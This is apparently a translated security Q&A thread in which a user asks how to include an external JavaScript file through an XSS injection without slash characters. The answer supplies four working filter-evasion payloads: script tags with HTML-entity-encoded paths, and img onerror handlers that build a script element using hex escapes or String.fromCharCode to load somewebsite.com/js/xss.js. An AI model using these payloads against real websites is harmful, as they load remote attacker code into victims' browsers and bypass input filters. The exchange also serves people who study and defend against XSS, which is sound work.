¿Vector de ataque XSS sin barra diagonal?

1

¿Existe un vector de ataque XSS que permita la inclusión de un archivo .js externo sin tener que usar barras diagonales?

digamos que la ruta del archivo es somewebsite.com/js/xss.js

¿Hay alguna forma de pasarlo a un parámetro que funcione y sin que contenga barras diagonales

Un ejemplo que no funcionaría es: %código% Esto funciona bien porque no tengo que cerrar la etiqueta, pero tampoco funciona porque tengo que usar barras diagonales para navegar al archivo JS

    
pregunta Ali 23.02.2014 - 18:27
fuente

1 respuesta

4

Siempre puedes usar referencias de caracteres:

<script src='&#x2f;&#x2f;somewebsite.com&#x2f;js&#x2f;xss.js'>

Esto también funciona sin comillas:

<script src=&#x2f;&#x2f;somewebsite.com&#x2f;js&#x2f;xss.js>

También puedes usar JavaScript para inyectar el elemento script y generar el carácter / con JavaScript de alguna manera:

<img src="" onerror="s=document.createElement('script'); s.src='\x2F\x2Fsomewebsite.com\x2Fjs\x2Fxss.js'; document.body.appendChild(s)">

Y sin ninguna cita:

<img src= onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(47,47,115,111,109,101,119,101,98,115,105,116,101,46,99,111,109,47,106,115,47,120,115,115,46,106,115);document.body.appendChild(s)>
    
respondido por el Gumbo 23.02.2014 - 22:38
fuente

Lea otras preguntas en las etiquetas